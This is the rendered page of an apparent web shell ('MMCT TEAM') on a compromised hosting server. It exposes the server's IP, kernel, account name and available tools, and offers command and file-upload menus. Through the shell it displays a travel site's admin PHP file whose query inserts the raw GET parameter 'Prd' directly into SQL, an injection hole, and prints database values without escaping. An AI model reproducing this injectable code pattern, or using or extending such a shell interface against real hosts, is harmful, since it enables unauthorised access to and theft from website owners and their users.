MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.145.56.150
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/alkareemtravel.com/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/alkareemtravel.com/admin/load-prd.php
<?php 
ob_start();
require_once("../includes/dbsmain.inc.php");
$Prd=$_GET['Prd'];
?>
<?php  
$sql="SELECT * FROM tbl_category WHERE 1 AND category_parent_id='$Prd' AND category_is_product='Yes' ORDER BY category_name";
$dataMain=db_query($sql);
$countMain=mysqli_num_rows($dataMain);
?>
<select class="form-control" name="resprd_prd_id" id="resprd_prd_id" onChange="load_img(this.value)"  >
<option>Choose Product</option>
<?php if($countMain>0){?>
<?php while($recMain=mysqli_fetch_array($dataMain)){?>
<option  value="<?=$recMain['category_id']?>"><?=$recMain['category_name']?></option>
<?php }?>

<?php }else{?>
<option  value="0">No Product Found</option>
<?php }?>

</select> 

MMCT - 2023